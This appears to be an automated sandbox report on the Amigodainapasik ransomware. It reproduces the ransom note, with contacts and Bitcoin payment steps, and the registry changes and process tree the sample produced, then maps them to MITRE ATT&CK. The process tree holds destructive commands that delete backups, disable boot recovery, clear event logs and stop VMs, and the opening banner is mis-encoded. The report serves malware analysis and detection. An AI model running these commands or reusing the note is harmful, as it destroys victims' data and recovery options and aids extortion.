ﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾦ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾦ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ\n￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ\n-----------------------------[ Hello, My Dear Friend !!! ]--------------------------\n\nALL YOUR FILES HAVE BEEN ENCRYPTED DUE TO A SECURITY PROBLEM WITH YOUR PC.\n\nIf you want to restore them :\n1) Send your unique id Kq_UBu8xmLkZE_xBBz3Vg1Yys6fsMmPgx2bKWx-gey4an8uxv2w and max 3 files for test decryption\n\nOUR CONTACTS:\n1.1) TOX messenger (fast and anonymous)\nhttps://tox.chat/download.html\nInstall qtox\nPress sign up\nCreate your own name\nPress plus\nPut there our tox ID:\nE9164A982410EFAEBC451C1D5629A2CBB75DBB6BCDBD6D2BA94F4D0A7B0B616F911496E469FB\nAnd add me/write message\n1.2) ICQ Messenger\nICQ live chat which works 24/7 - @Amigodainapasik\nInstall ICQ software on your PC here https://icq.com/windows/ or on your smartphone search for \"ICQ\" in Appstore / Google market\nWrite to our ICQ @Amigodainapasik https://icq.im/Amigodainapasik\n1.3) Skype \nAmigodainapasik Decryption\n1.4) Mail (write only in critical situations bcs your email may not be delivered or get in spam)\n [email protected]\n\nIn subject line please write your decryption ID: Kq_UBu8xmLkZE_xBBz3Vg1Yys6fsMmPgx2bKWx-gey4*an8uxv2w\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\nAfter payment we will send you the decryption tool that will decrypt all your files.\n\nFREE DECRYPTION AS A GUARANTEE!\nBefore paying you can send us up to 5 files for free decryption. The total size of files must be less than 10Mb (non archived),\nand files should not contain valuable information. (databases, backups, large excel sheets, etc.)\n\nHow to obtain Bitcoins:\nhttps://www.alfa.cash/buy-crypto-with-credit-card (the fastest way)\nbuy.coingate.com\nhttps://bitcoin.org/en/buy\nhttps://buy.moonpay.io\nbinance.com\ncoinmama.com\n\nATTENTION!!!\nDo not rename encrypted files!\nDo not try to decrypt your data using third party software, it may cause permanent data loss!\nDecryption of your files with the help of third parties may cause increased price (they add their fee to our)\nor you may become a victim of a scam!"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection\AllowTelemetry = "0"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\HidePowerOptions = "1"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = " "	Amigodainapasik.exe

C:\Users\Admin\AppData\Local\Temp\Amigodainapasik.exe
"C:\Users\Admin\AppData\Local\Temp\Amigodainapasik.exe"
1⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe
  "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe"
  2⤵
  - UAC bypass
  - Sets file execution options in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Modifies system executable filetype association
  - Adds Run key to start application
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c DC.exe /D
    3⤵
    PID:3420
- - C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe
    "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe" -e ul2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1468
- - C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe
    "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe" -e ul1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
- - C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe
    "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe" -e watch -pid 832 -!
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1388
- - C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Everything.exe
    "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Everything.exe" -startup
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Suspicious use of SetWindowsHookEx
    PID:3404
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -H off
    3⤵
    PID:2052
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
    3⤵
    PID:3740
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
    3⤵
    PID:4032
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
    3⤵
    PID:5072
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
    3⤵
    PID:844
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
    3⤵
    PID:4728
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
    3⤵
    PID:4652
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
    3⤵
    PID:3668
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
    3⤵
    PID:4744
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
    3⤵
    PID:4184
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
    3⤵
    PID:3936
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
    3⤵
    PID:4304
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
    3⤵
    PID:1056
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
    3⤵
    PID:2940
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg.exe -S e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass "Get-VM | Stop-VM"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass "Get-VM | Select-Object vmid | Get-VHD | %{Get-DiskImage -ImagePath $_.Path; Get-DiskImage -ImagePath $_.ParentPath} | Dismount-DiskImage"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass "Get-Volume | Get-DiskImage | Dismount-DiskImage"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3756
- - C:\Windows\SYSTEM32\bcdedit.exe
    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:564
- - C:\Windows\SYSTEM32\bcdedit.exe
    bcdedit.exe /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1688
- - C:\Windows\SYSTEM32\wbadmin.exe
    wbadmin.exe DELETE SYSTEMSTATEBACKUP
    3⤵
    - Deletes System State backups
    - Drops file in Windows directory
    PID:2516
- - C:\Windows\SYSTEM32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2344
- - C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Everything.exe
    "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Everything.exe" -startup
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Suspicious use of SetWindowsHookEx
    PID:3668
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fSingleSessionPerUser" /t REG_DWORD /d 0x0 /f
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\notepad.exe
    notepad.exe "C:\Users\Admin\AppData\Local\Amigodainapasik_Decryption.txt"
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:4812
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl application
    3⤵
    - Clears Windows event logs
    PID:3396
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl system
    3⤵
    - Clears Windows event logs
    PID:404
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl security
    3⤵
    - Clears Windows event logs
    PID:1476
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /d /c "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\sd.bat"
    3⤵
    PID:440
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.2 -n 5
      4⤵
      Runs ping.exe
      PID:1976
  - - C:\Windows\SysWOW64\fsutil.exe
      fsutil file setZeroData offset=0 length=20000000 "C:\Users\Admin\AppData\Local\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\Amigodainapasik.exe"
      4⤵
      PID:3388

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:5000

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3148

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:2712

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:1508

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4220

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3888

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3316

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:2236

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4452

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4436

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:1700

C:\Windows\System32\Systray.exe
C:\Windows\System32\Systray.exe "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3292

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2520

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:1860

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1480

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery